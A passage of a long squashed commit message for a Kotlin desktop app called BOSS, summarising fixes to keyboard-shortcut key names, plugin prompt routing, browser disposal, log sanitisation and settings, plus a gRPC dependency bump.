fires on neither path. That is what every rebind made in the Shortcuts screen wrote before #329, which makes it the population most likely to be on this screen in the first place - and they would have been shown a green row with a parenthetical note. It keeps FAILED, with advice that holds either way: a keymap carrying a raw key code is worth re-recording whether or not the fold currently resolves it. Also drops a guarantee two comments claimed and the tests do not give. The test drives the interceptor's table through a hand-written list of key codes, so a key added to that table alone is checked by nothing. Reading the `when` itself would need reflection over a private table; saying so is better than asserting an invariant that is not enforced. Co-Authored-By: Claude Opus 5 * #329 - Fix: store key names when rebinding shortcuts * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails t… * feat(plugins): route a missing-dependency prompt to the window that raised it (#465) * feat(plugins): route a missing-dependency prompt to the window that raised it MissingDependencyPrompt is delivered over a Channel: exactly one window's collector receives each prompt, but not necessarily the one whose install raised it. The class's own KDoc named this as a known, deliberately unbuilt limitation - "routing back to the reporting window would need the prompt to carry a window id and the collector to be able to decline one without consuming it... not built, because a single window is the overwhelmingly common case." This builds exactly that, for the case where it does happen: a person answers "Install" in the window they're looking at and nothing changes there, because a different, idle window happened to collect it. - MissingDependencyPrompt gains windowId: String? = null, resolved via WindowFocusManager.resolveActionableWindowId() at the two report call sites where a window is unambiguously the actionable one right now (MissingDependencyReporter.report, a user-initiated install-completion path; MissingPluginOffer.offerIfMissing, a direct button click) - the same best-effort "whichever window is actionable" idiom this codebase already uses for deep links and CLI commands, not a new standard. - shouldClaimMissingDependencyPrompt (PluginDependencyResolution.kt) is the pure decision a wrongly-chosen collector uses: claim it if there's no reporting window to prefer, if this window IS the reporting window, or if the reporting window has simply closed (a prompt must never wait forever for a window that's gone). Kept pure and tested the same way shouldShowMissingDependency already is. - The collector in BossAppEventBusEffects.kt calls this before showing a prompt; when it says no, the window re-offers the prompt to the bus (a short delay first, so two non-target windows can't trade it back and forth in a tight loop while the real target's own collector is still starting up) instead of displaying it. - WindowFocusManager.isWindowOpen and resolveActionableWindowId are promoted onto the expect/actual contract so commonMain code (where MissingDependencyPrompt and its bus already live) can ask both questions without a desktop-only reference. Scope: PerformanceState.performancePanelPrompt (the status-bar indicator's offer) is left at the windowId = null default - it resolves its plugin manager via DynamicPluginManager.anyActiveManager() with no direct window context available, and threading one through would mean unrelated refactoring of that call chain rather than this feature. Falls back to today's behavior for that one path only, same as every prompt did before this change. 5 new tests (MissingDependencyPromptRoutingTest) cover the decision function directly: no reporting window, own window, wrong window with the target still open, wrong window after the target has closed, and the single-window case. Full desktopTest suite, ktlintCheck and detekt all clean (one pre-existing, unrelated Windows-symlink-privilege test failure in DesktopFileScannerTest, confirmed present on unmodified main). * fix(plugins): return routed prompts before collector suspension * fix(plugins): replace the bounded channel with a lossless prompt registry Review of this PR (batch-4) proved two real bugs in the bounded-channel delivery PluginDependencyBus used: reporting one prompt, receiving it, admitting four unrelated ones, then re-reporting the first refused it - the channel's four-slot capacity had nowhere left to put it, and it was gone. Separately, freeing the dedup guard the instant a prompt was handed to any collector (rather than when a collector was actually done with it) let a second, independent report for the same key be admitted as a competing entry while the first was still in transit. Replaces the Channel(capacity=4) + separate dedup set with one LinkedHashMap, guarded by a single lock so admission (report) and claiming (claim) are each one atomic step. A map has no capacity to overflow, and a key stays reserved from report() until claim() actually removes it - there is no gap for a concurrent report to slip into. missingDependencies now broadcasts every pending prompt to every open window; each window decides independently (via the existing shouldClaimMissingDependencyPrompt) whether to claim(), and a losing racer simply does nothing further. This also removes the reoffer mechanism entirely: a window that is not the right audience for a prompt now just leaves it alone rather than report()-ing it back with a delay, which was the "unbounded routing hops" the review flagged (one wait-and-retry loop per rejected prompt per window). A single bus-owned periodic re-broadcast covers the one case no report() fires for: the preferred window closing with nothing else to wake collectors. New/rewritten tests reproduce the review's own adversarial scenario directly (a prompt survives being re-reported while four distinct prompts are also pending) and prove claim() is atomic under concurrent callers, alongside the existing dependency-resolution and pure-function routing tests, all updated for the claim-based consumption model. * test(plugins): fix a test broken by the claim-based bus consumption model PerformancePanelPromptTest's "forcing twice does not queue two dialogs" assumed the old design's receive-consumes semantics: a plain missingDependencies.first() no longer removes anything from the bus, only claim() does, so the test's second first() call was seeing the same still-pending prompt again instead of timing out. Missed in the original PluginDependencyBus rewrite because this test lives outside the components.plugin package the rest of the affected suite is in - caught by CI (ubuntu/macos/windows build-test all failed on it), not by the targeted test runs during that change. * fix(plugins): re-resolve a disposed manager's installer, fix a claim-timing hole Addresses the three findings from the claim-based-queue review round: - The closed-target fallback (shouldClaimMissingDependencyPrompt's !targetWindowOpen clause) lets a different window claim a prompt once its preferred window has closed - but the prompt's installer was still bound to that closed window's DynamicPluginManager, which disposeWindow() has already cancelled and uninstalled everything from. Install then loaded into a dead manager and reported success having put the plugin nowhere anything renders - the exact #188 symptom this repo's own release notes describe. installerFor now re-resolves to DynamicPluginManager.anyActiveManager() at use time for both the isInstalled check and the actual install, falling back to the originally-bound manager only when nothing at all is live - the same fix anyActiveManager's own KDoc already documents for the home screen's install tile, applied here too. - claim() ran before the isInstalled check's IO stat, so cancelling that coroutine mid-stat (window closing, the effect restarting) permanently lost an already-claimed prompt: it was off the bus with nowhere else recorded. Moved the claim to immediately before the state assignment, after present/show are both decided - a non-suspending sequence from there, so the only remaining window is the documented, accepted one where the dialog itself is already up. The cost is a duplicated isInstalled stat in the rare case two windows reach the check on one prompt at once, which claim() returning false for the loser already handles correctly. - The bus's wake signal (changed, a MutableSharedFlow(replay = 1)) had no extra buffer, so tryEmit returned false - discarded, since report() never checked it - whenever a collector hadn't yet consumed the replayed value, i.e. whenever any window was mid-dialog. That is the common case for a second missing dependency, not a rare one, so the periodic ticker (documented as covering only a closed target window) was doing the real signalling work for the routine case too. Nothing was ever lost - pending still held every prompt - but a second dependency could sit for up to a second before its rescan. extraBufferCapacity = 1 with DROP_OLDEST makes tryEmit always succeed; conflating repeated "go look" signals is exactly right for a rescan trigger. Also: renamed a test that implied claim() was proven atomic under real concurrency - runTest serialises both async bodies, so it never was, and the assertion it actually makes (a second claim of the same prompt fails) is what the new name says. Added a test for the ticker's periodic re-broadcast of a still-pending, unclaimed prompt, which had no coverage at all. MISSING_DEPENDENCY_RESCAN_INTERVAL_MS is internal now (from private) so that test - and any future one - can pin the real interval instead of a copy of it, matching this repo's own precedent for timing constants. Five doc sites (AGENTS.md and four KDoc cross-references) that still described the deleted channel/reoffer design are corrected to describe the current claim-based map registry instead. * fix(plugins): retire suppressed prompts and preserve live installer ownership --------- Co-authored-by: Shivang * fix(secrets): preserve hostnames in the host matching utility (#482) * fix(browser): catch native disposal exceptions to prevent incorrect sandbox disables Wraps native JxBrowser event listeners to prevent ObjectClosedException from escaping into the sandbox manager. Previously, unexpected browser disposal could be interpreted as a sandbox failure and consume the plugin restart budget. * fix(security): tighten browser secret domain matching * Wrap matcher regression tests to satisfy Detekt * Keep full hostnames visible in saved-secret display labels --------- Co-authored-by: john k Co-authored-by: john k Co-authored-by: Shivang * feat(settings): explain experimental Microkernel Mode before enabling it (#481) * Batch validation: promote latest reviewed dev changes to main (#463) * Fix #30: Resolve duplicate context menu label collisions * Cleanup: Remove dead code for #91 and #93 * chore: Sanitize SubmitResult.Error at construction rather than at one render site * Fix panel component lifecycle disposal * fixes * Guard panel lifecycle destruction failures * fix(logging): sanitize secret RPC failures and crash-report errors Three related gaps in what gets logged and shown when something fails: - SecretService.kt had no BossLogger in any of its ten catch blocks (#145). When the organisation migration broke all four secret RPCs (#144), the only WARN in the log came from the calling plugin - the code that actually failed said nothing. Every catch now logs via logger.warn(LogCategory.NETWORK, ...), reusing the already-sanitized failure for both the log and the returned Result rather than sanitizing twice. RoleService and RoleCreationService were checked and already log correctly - SecretService was the only silent one. - LogSanitizer.sanitizeExceptionMessage redacted a hostname only when it appeared inside a URL - a bare hostname (exactly what UnknownHostException.getMessage() produces, i.e. every DNS failure, and what a proxy-connect failure looks like) passed through untouched (#109). Added a narrow hostname pattern: lowercase-only labels ending in a short explicit TLD/`.internal`/`.local` list, with a negative lookahead so a package path that happens to end in a real TLD word mid-FQN (kotlinx.coroutines.internal.ScopeCoroutine, kotlinx.io.EOFException) is not mistaken for one - caught by the existing realistic-stack-trace test after the first version of the pattern redacted a live Kotlin package name out of it. - CrashReportService.SubmitResult.Error held a raw exception string, sanitized at exactly one render call site in CrashReportDialog (#110). The constructor is now private; SubmitResult.Error.of(...) is the only way to build one, and it sanitizes before the raw string can reach .message - a property of the type now, not something every future consumer (a copy button, a toast, a log line) has to remember on its own. Both construction sites (the service's two catch blocks, and the one in CrashReportDialog the issue names directly) now route through it. Tests: new coverage for the ten now-logging SecretService paths (via SupabaseWiringTest's existing sanitization-wiring guard, updated to recognize the "sanitize once into a local, reuse for log and return" shape SupabaseDataProviderImpl already used), six new LogSanitizerTest cases for the hostname fix (including the FQN/version-number false-positive guards), and a new CrashReportServiceTest for the sanitize-at-construction guarantee. * test(crash): extract construction tests from #404 Selected unchanged test file from Antriksh1984 original commit 99d2a5228023c541e825fe2714619c8228140369 (PR #404). Maintainer extraction only; subsequent API/scope adaptations are recorded separately. * chore(ipc): clarify advisory menu ID scope and fix formatting * chore(ui): finish obsolete toolbar comment cleanup * test(crash): adapt consolidated coverage and guard factory visibility Maintainer consolidation: use #311 companion invoke and a URL fixture instead of depending on #404 hostname redaction. Add private constructor/copy bytecode assertions. Preserve original contributor tests and implementation credit separately. * refactor(crash): consolidate construction sanitization in #311 Maintainer scope change: remove only the duplicate #110 implementation, retaining Antriksh1984 original #109/#145 work and commit history. Standalone construction tests are retained with attribution in #311; its Aditya8369 implementation supersedes Error.of. Keep render-time sanitization here until #311 merges and describe the remaining hostname coverage conservatively. * test(panels): retain sibling lifecycle isolation coverage from #313 Adapt the original #313 test to the #317 constructor and supply the missing panelInfo overrides. Original test scenario and assertions are by @rehannayeem0786; these compile adaptations are maintainer integration work. * fix(panels): complete lifecycle cleanup across failure and window teardown Destroy partially constructed panels and replacements that fail to resume. Continue downward lifecycle transitions after a failing pause or stop callback. Dispose panels before plugin teardown in the same callback rather than relying on sibling Compose effect order. Add regression coverage and adapt the retained #313 test bodies for detekt. These changes are maintainer follow-up to the original #313/#317 contributions. * docs(ui): remove stale disabled top-bar feature list * test(ipc): protect advisory menu item ID uniqueness * fix(panels): keep store registration scoped to its window effect Remove the redundant unregister from plugin teardown. Document independent context services and synchronous Essenty onCreate replay, with tests for registration ownership and exactly-once create callbacks. Keep tab teardown hardening separate. Maintainer follow-up to the review of #317; original #313/#317 contributor credit is unchanged. * fix(crash): address consolidated sanitization review notes Maintainer follow-up to Claude N1-N4: document factory/copy invariant, correct stale comments, move Aditya original construction assertions into the service suite while retaining Antriksh blank/diagnostic cases, and log unexpected dialog submission failures. Original contribution credit remains separate. * fix(logging): keep server failure payloads out of secret RPC logs Maintainer follow-up to Claude review: log operation and exception type only, preserve sanitized return semantics, and check each catch for safe return/log wiring. Document measured hostname limits without broadening the matcher; add module-local redaction and diagnostic-preservation coverage. Antriksh original implementation remains credited separately. * ci: build PR batches on dev * Allow Claude diff reviews after approved fork builds (#413) * fix(browser): preserve newer clipboard copies during plain-text paste (#316) * fix(browser): paste-without-formatting no longer clobbers a copy made in its restore window (#205) * fix(browser): make paste-without-formatting's restore identity-based, not text-based Review of this PR caught that the text-equality guard cannot distinguish 'our write is still current' from 'a previous press already restored the rich original' - whose string projection is by construction the same text - so two presses inside the 200ms window permanently downgraded a rich clipboard to plain text. A PasteWithoutFormattingSession now tracks the exact Transferable each press installed and restores the pre-window original once, while a user copy in the window still wins. Adds five tests to BrowserClipboardCommandsTest, including the double-press regression; wraps the two over-limit lines; e.message -> e::class.simpleName in the touched handlers. * fix(browser): fold tryRestore's early exits so it stays within detekt's ReturnCount * fix(browser): blank lines between FakeTransferable overrides per ktlint * test(browser): retain clipboard restore scenarios from #408 * fix(browser): track clipboard ownership through AWT wrappers --------- Co-authored-by: rehannayeem0786 Co-authored-by: Shivang Co-authored-by: Antriksh1984 * fix(plugins): serialize concurrent first loads per class name (#324) * fix(plugins): prevent duplicate class definitions during concurrent loads * fix(plugins): make class loading parallel-safe * test(plugins): pin concurrent loading lifecycle boundaries Maintainer consolidation follow-up: retain #324 synchronization and its tests; add concurrent shared-name, superclass, and unload-marker coverage. Document caller-sensitive registration based on arjun28115 review feedback and clarify that marking unload does not drain an already admitted parent lookup. No global lifecycle lock or resource-policy changes. --------- Co-authored-by: sgoel2be24-cyber <223222024+sgoel2be24-cyber@users.noreply.github.com> Co-authored-by: Procs <168113425+ProportanilityConstant@users.noreply.github.com> Co-authored-by: Shivang * fix(browser): defer native disposal until admitted calls drain (#312 + #409) (#412) * fix: make BrowserHandle JavaScript execution cancellable the previous synchronous JxBrowser call blocked the Main/EDT thread; coroutine cancellation could not take effect while that call was blocking; the implementation now uses JxBrowser’s asynchronous JavaScript callback API; suspendCancellableCoroutine makes the Kotlin waiting side cancellable; late callbacks after cancellation are safely ignored; this does NOT terminate JavaScript already executing inside Chromium. * fix: add robust native call lifecycle tracking for disposal * test: verify native operation cleanup on synchronous failure * fix: linearize browser disposal and pending operation tracking * fix: resolve detekt violations in browser native tracking * test: satisfy detekt failure simulation rule * fix: close native operation disposal race * fix(browser): drain an in-flight call before closing the browser Issue #300 reports that executeJavaScript is a synchronous, non- cancellation-aware native call, and a plugin's own withTimeoutOrNull around it can only abandon the caller's wait - not the call itself - which stays running on Main indefinitely and can race a concurrent handle.dispose(), touching the same native object from two threads at once. The severe half of this was already fixed by BoundedBrowserCall: this class confines every blocking round trip to one dedicated daemon thread instead of Dispatchers.Main, so a wedged renderer no longer freezes the app. What was not yet closed is the residual window this issue's core report is actually about: shutdown() stopped new work but did not wait for whatever was already running, so a caller could proceed straight to browser.close() while a call from just before shutdown was still finishing on the dedicated thread. shutdown() now waits, bounded, for that in-flight call to drain before returning. Costs nothing in the common case - awaitTermination returns immediately once the one worker thread and its queue are both idle, which is where an instance sits between calls - and only the bound in the rare case something was genuinely still running. Known, and disclosed in the KDoc rather than claimed away: this narrows the race for the common case (a call that was always going to finish quickly) rather than closing it. It cannot help when the in-flight call is itself the wedge this class's own deadline exists for - waiting unboundedly for a genuinely stuck call would reintroduce the exact freeze BoundedBrowserCall exists to prevent, just moved from a plugin's await into every caller's teardown path. There is no JxBrowser API on this version able to interrupt a blocking round trip already inside the native call, which is the whole reason the call is confined to its own thread instead of cancelled - closing that window completely needs JxBrowser's own cooperation, which the issue's own analysis already concluded is unavailable. Tests: shutdown waits for a fast in-flight call to finish before returning, and does not wait past its own drain timeout for a wedged one - the same before/after pair the rest of this test file already uses for BoundedBrowserCall's deadline. * fix(browser): defer native close until admitted calls drain Consolidates the lifecycle work from #312 (johncybersage) and #409 (Antriksh1984), retaining both original histories. Replaces success-only callback accounting and timeout-then-close with executor termination signals and host-owned native/profile cleanup. These corrections and replacement tests are maintainer/agent work, separate from contributor scoring. * fix(browser): bound profile waits and clarify deferred cleanup ownership Address consolidation review: schedule both service disposal paths without awaiting native close, diagnose pending drains, centralize executor ownership, and bound profile lease acquisition without permitting unsafe reuse or eviction. Document process-exit abandonment and verify wiring and cleanup ordering. Maintainer/agent follow-up, separate from original #312 and #409 contributor credit. * fix(browser): schedule disposal after early UI teardown failure * ci: create launcher directory before Claude native installation * Revert "ci: create launcher directory before Claude native installation" This reverts commit 5184908e6c3f133502508513b4c5e17651b13bc0. * test: keep warmup registry ordering check on one event loop * test(browser): normalize CRLF in disposal source wiring guards --------- Co-authored-by: john k Co-authored-by: john k Co-authored-by: Antriksh1984 * feat(tabs): show a speaker glyph on tabs that are playing audio (#314) * feat(tabs): show a speaker glyph on tabs that are playing audio (#308) * fix(tabs): review round - compile, registry lifetime, UI-thread marshalling, owner flush 1. graphicsLayer import dropped (does not exist at that package); the fade now uses .alpha(audioAlpha), already imported. 2. TabAudioRegistry no longer outlives its owner: disposeAllTabsBlocking unregisters everything this component registered, and DetachedTab.destroy drops the entry for a tab destroyed without adoption - the handler captures the BossTabsComponent, so stale entries retained it. 3. The registry update is marshalled to the EDT via SwingUtilities.invokeLater, so the tab-model mutation happens on the UI thread as the KDoc claims. 4. setFullscreenHandler flushes the current playback state once ownerTabId becomes known, closing the starts-before-registration race the review could not verify. 5. TabAudioRegistryTest added: delivery, last-writer-wins, ownership-checked unregister. * fix(tabs): CI round 2 - DetachedTab receiver error, long line, and baseline-preserving signatures - BossMainWindowPanel.kt:2098: DetachedTab is a non-inner nested class and cannot use the outer component as receiver; the audio-handler drop moves to detachTab instead, which is where adoption-vs-destroy actually diverges. - TabAudioRegistry.kt:9 wrapped under detekt's 120-char limit. - FluckTabInfo.isPlayingAudio and BossTabButton's glyph read no longer change any signature: the flag is a mutable property (copied in copy()'s body) and the button reads it off tabInfo, so the constructor, copy() and BossTabButton keep their exact baseline-frozen detekt IDs and the resurfaced LongMethod/LongParameterList/CyclomaticComplexMethod findings retire. * fix(tabs): fold handleAudioUpdate within ReturnCount; add missing final newline in the test file * fix(tabs): publish audio state by browser ownership and keep icon layout stable --------- Co-authored-by: rehannayeem0786 Co-authored-by: Shivang * feat: connect chrome density settings and keyboard controls (#305) * feat: wire the chrome density scale into settings and small-screen defaults ChromeDensity / ChromeDimens.of() / LocalChromeDimens already existed on main and every bar (BossTitleBar, BossTopBar, the main tab bar, BossBottomBar) already read its height from BossChrome.dimens - but LocalChromeDimens was never provided anywhere, so it silently resolved to its staticCompositionLocalOf default (Comfortable) always. The scale was built and unreachable. This closes that gap: - WindowAppearanceSettings gets a `density` field (default COMFORTABLE, so an existing install's settings file - which has never heard of this key - decodes to exactly the chrome it already had; no settings-version bump needed). - BossApp.kt now provides LocalChromeDimens from that field, host-only and outside BossAppCompositionLocals (plugins never draw host chrome). - A "Density" dropdown in Settings > Bars (Compact/Comfortable/Spacious), indexed in Settings search. - A fresh install on a small screen (< 1000dp logical height, clearing the 13" MacBook Air's ~931-956pt from #239's own measurements) now defaults to Compact and starts with the bottom bar off - the one bar this manager can still reclaim itself, since the side strips are already off by class default. Toolkit.getScreenSize() is read once, wrapped in runCatching (HeadlessException off a display must not break a fresh install), with a pure defaultDensityFor(screenHeightDp) so the decision is unit-testable without a display. Addresses #239, scoped down from the full issue. Out of scope in this pass, deliberately: - The app does not yet report its own chrome budget as a measured percentage - the issue's own "state it, don't argue it" ask. Reachable later from the same ChromeDimens source, but needs a spot to render it. - The title bar's 27dp "Boss Console" label row is untouched - collapsing or merging it with the tab bar is a separate, riskier layout change than a density scale. - No regression intended to the existing per-bar show/hide switches or focus-mode edges: density only changes how much room a bar that is already on screen takes, never whether it is shown. * fix: drop the Compact-density bottom-bar auto-off, wrap an overlong line Address review feedback on #305: - Removed showBottomBar = density != ChromeDensity.COMPACT from getDefaultSettings(). ChromeMetricsTest already shows the shipped macOS defaults reach 93.3% of a 931dp window at Comfortable, so #239's >=90% bar is met without touching the status bar - and that bar's own KDoc argues it must stay on ("the only always-on readout"). It was also reachable from the settings-load catch fallback, so a transient read error could silently drop the bar and have the next save persist the loss. Compact now only changes density, nothing else. - Wrapped primaryScreenHeightDp() - was 121 chars, one over detekt's default MaxLineLength (120), which applies here since .editorconfig's 140 is a ktlint-only setting and this line wasn't in the baseline. * feat: add chrome density setting * feat: add small-screen chrome defaults * feat: add chrome density controls and small-screen defaults * fix(ui): preserve lean density defaults and test density controls * style: format multiline screen-height lookup * fix(ui): separate density recovery and make editor chords opt-in * style: wrap density default documentation --------- Co-authored-by: AdityaK-iiita Co-authored-by: Shivang * fix(plugins): stop host resource fallback after unload (#325) * fix(plugins): stop host resource fallback after unload * fix(plugins): preserve resource warning for a missing result --------- Co-authored-by: sgoel2be24-cyber <223222024+sgoel2be24-cyber@users.noreply.github.com> Co-authored-by: Shivang * Handle closed browser frames during navigation callbacks (#400) * Handle closed browser frames during navigation callbacks * test(browser): retain closed-event guard after navigation integration * fix(browser): preserve helpers on PID failure and recognize closed transports * style(browser): wrap review diagnostics for detekt --------- Co-authored-by: Shivang * refactor(window): pin the panel content alignment width (#398) * fix(window): restore strict width constraints for nested panels Fixes #278. Commit c15660c5 inadvertently dropped the explicit width constraint for nested panels in the right dock by wrapping them inside a PanelColumn with a Box(weight(1f)) that lacked fillMaxWidth(). This loose constraint caused a known issue with SubcomposeLayout caching stale bounds when resized, resulting in Row content disappearing after weighted Spacers. This commit restores the .fillMaxWidth() propagation. * Cover panel content alignment across width changes * Keep panel layout regression in the existing app test package * Document panel alignment contract and pin filling content width * Wrap the panel width assertion to satisfy detekt --------- Co-authored-by: Shivang * #320 - Fix quick actions vanishing in short tab rail (#328) * #320 - Fix quick actions vanishing in short tab rail * Fix: detekt & ktlint checks * Fix rail action budgets and reversible fallback wiring * Fix resize test assertion import and update rail coverage note --------- Co-authored-by: Shivang * fix(crash): refine scroll boundary and bound error sanitization (#350) * fix(crash): refine scroll boundary and bound error sanitization * Avoid exposing a partial token at the crash message limit * Document sanitizer input bound and verify expansion ordering --------- Co-authored-by: Aishwary Anand Co-authored-by: Shivang * fix(logging): redact private hostnames (#346) * fix(logging): redact private hostnames * Handle private hostname punctuation and preserve diagnostic ports * Format hostname punctuation regression assertion --------- Co-authored-by: ayush Co-authored-by: Shivang * feat: Opening an .html file should ask open as a file or webpage (#333) * feat: Opening an .html file should ask open as a file or webpage * Fix HTML prompt delivery and persisted preference ordering * Cover HTML routing and correct review test fixtures * Honor HTML navigation intent and release pending prompts on failure * Isolate HTML prompt handling from the general dialog host --------- Co-authored-by: Shivang * fix(plugin-store): parse timestamps consistently in list and detail metadata (#379) * Fix: Implement proper ISO timestamp parsing in PluginStoreClient * fix(repository): implement robust ISO timestamp parsing for Supabase payloads * style(repository): resolve detekt MaxLineLength and TooGenericExceptionCaught * fix(plugin-store): implement plugin metadata timestamp parsing PluginStoreClient.parseTimestamp was a stub that always returned 0L, so every plugin fetched from the store showed "Last Updated"/"Published" as the Unix epoch in the Toolbox UI regardless of what the server actually sent (#337). Parses the ISO-8601 timestamp (the shape the store sends, e.g. 2024-05-12T14:30:00Z, or with a numeric offset) via java.time.Instant, falling back to 0L for a blank, missing, or malformed string rather than throwing - matching the field's own empty-string default for a response that omits it. java.time rather than adding kotlinx-datetime as a new dependency: this module already uses java.util.* directly in the same commonMain source set (it has one real target, jvm("desktop")), so nothing is gained by introducing a second time library for one function. Tests exercise the real PluginDetailResponse.toPluginInfo(), matching the convention already established next to it in PluginStoreResponseDecodingTest: a Z-suffixed timestamp, a numeric-offset timestamp, a blank string, and a malformed string. * Fix timestamp normalization edge cases and verify both response mappings * Use release publication dates and pin timezone-independent fallback --------- Co-authored-by: Sanjay Co-authored-by: Antriksh1984 Co-authored-by: Shivang * feat(remote-ui): authenticate and expose remote UI surfaces (#348) * feat(remote-ui): authenticate remote UI process identity * feat(remote-ui): place authenticated remote UI surfaces * fix(remote-ui): close ownership and placement lifecycle races * test(remote-ui): expose placement recovery cases to JUnit --------- Co-authored-by: Shivang * feat(dashboard): add shared read-only What's New release feed (#381) * Add What's New release feed to dashboard * Serialize update settings persistence * Remove unused update settings import * fix(updater): retain realtime refreshes during shared release fetches * style(updater): format shared release fetch regression tests * fix(updater): coalesce release refresh bursts and preserve visible history --------- Co-authored-by: Shivang * fix(language): consolidate host and out-of-process language-id tables (#358) * fix(language): consolidate host and out-of-process language-id tables EditorLanguages (composeApp) and EditorServiceImpl (modules/boss-app-editor) each hand-maintained their own extension-to-language-id table because boss-app-editor - a plain JVM module compiled to a GraalVM native image - could not depend on anything in composeApp. They disagreed: EditorServiceImpl named .sh/.bash/.zsh "shell", EditorLanguages named them "bash", and EditorServiceImpl was missing more than forty ids the other table had (fortran, delphi, latex, lisp, tcl, clojure, batch, diff, ...) (#75). Moves the table into a new plugin-platform/plugin-language-types module - dependency-free by design, so it carries nothing extra into boss-app-editor's native-image build - and has both EditorLanguages and EditorServiceImpl read from it. This is the first time anything under modules/ depends on plugin-platform/; verified compiling and passing tests before committing to the approach. EditorLanguages keeps its existing public API unchanged (same values for every extension), so FileTypeCategoriesTest and EditorLanguageDetectionTest needed no changes. EditorServiceImpl keeps its own "proto"->"protobuf" entry and "plaintext" fallback as local additions on top of the shared table, rather than folding them into it: proto isn't part of the boss-file-types.json default-app-association surface the shared table backs, and "plaintext" is this service's own gRPC default, not a value composeApp reads. Adds LanguageIdsTest (the new module) and EditorServiceImplTest (previously no tests existed for this class at all) - the latter pins the actual bug fix, that detectLanguage("sh") now returns "bash" instead of "shell". Out of scope, and disclosed rather than silently dropped: two of the five duplicate tables the issue names - the editor-tab plugin's own LanguageDetection and BossEditor's lexer registry - live in separate repositories this build cannot reach. FileIcons.forSpecialFileName/forFile in plugin-icons is also not consolidated: it keys icon selection off the raw filename to preserve distinctions a language id can't carry (package.json, yarn.lock and pnpm-lock.yaml are all valid JSON/YAML but get three different brand icons) and never computes a language id in the first place, so routing it through this table would need a separate icon-selection redesign. * fix(language): keep file-association drift checks on the shared table * fix(language): apply shared filename rules to editor file opens --------- Co-authored-by: Shivang * fix(editor): contain write-local stack overflow and preserve fatal errors (#396) * Make writeFileContentSafe actually safe: catch the Errors it was named for `writeFileContentSafe` exists to return false rather than throw. It did not hold that contract: } catch (e: Exception) { fileIoLogger.warn(LogCategory.EDITOR, "Error writing file", error = e) false } StackOverflowError is an Error, not an Exception, so it went straight through - out of writeFileContent, out of the editor_write_file MCP handler, and to the caller as a bare StackOverflowError instead of the handler's own "Write failed for ". The warn that would have named the file never ran either. That is not hypothetical. risa-labs-inc/boss-plugin-editor-tab#18 and #27 are two independent reports of it, on unrelated content, and #27's complaint is precisely the missing diagnosis: the error "gives no indication of which input caused it". StackOverflowError and OutOfMemoryError are caught explicitly rather than widening to Throwable. A stack overflow unwinds and leaves the JVM usable, and readFileContentSafe in this same file already treats OutOfMemoryError as a reportable outcome. Throwable would also absorb LinkageError and ThreadDeath, which are not this function's to swallow - there is a test asserting a NoClassDefFoundError still propagates. The failure log now names the path and the character count. Not the content: these writes carry whatever the user is editing. **This does not fix the write.** Whatever recurses is upstream of this function, which is mkdirs plus writeText - I ruled out the plugin's handler, this write, and the host's MCP argument parsing, and said so on the issue. What changes is that the failure is reported honestly instead of escaping, which is where a diagnosis can start. The body moves to `guardedWrite` with an injectable write, because a test JVM cannot be made to overflow the stack inside writeText on demand. Verified: 3729 tests, 0 failures, plus ktlintCheck and detekt. Refs risa-labs-inc/boss-plugin-editor-tab#18, #27. Co-Authored-By: Claude Opus 5 * docs(editor): clarify write guard scope and prior recursion fix * fix(editor): preserve fatal heap errors in write guard --------- Co-authored-by: Claude Opus 5 Co-authored-by: Shivang * fix(state): apply version-checked JSON merge patches (#361) * Fix: Implement proper ISO timestamp parsing in PluginStoreClient * Feature: Implement JSON Merge Patch for plugin delta state synchronization * fix(state): validate delta bases and exclude duplicate timestamp scope * fix(state): reject malformed and deeply nested patches --------- Co-authored-by: Shivang * :arrow_up: deps:(deps): Bump grpc from 1.83.1 to 1.84.0 (#363) Bumps `grpc` from 1.83.1 to 1.84.0. Updates `io.grpc:grpc-netty` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-protobuf` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-stub` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-services` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-util` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) --- updated-dependencies: - dependency-name: io.grpc:grpc-netty dependency-version: 1.84.0 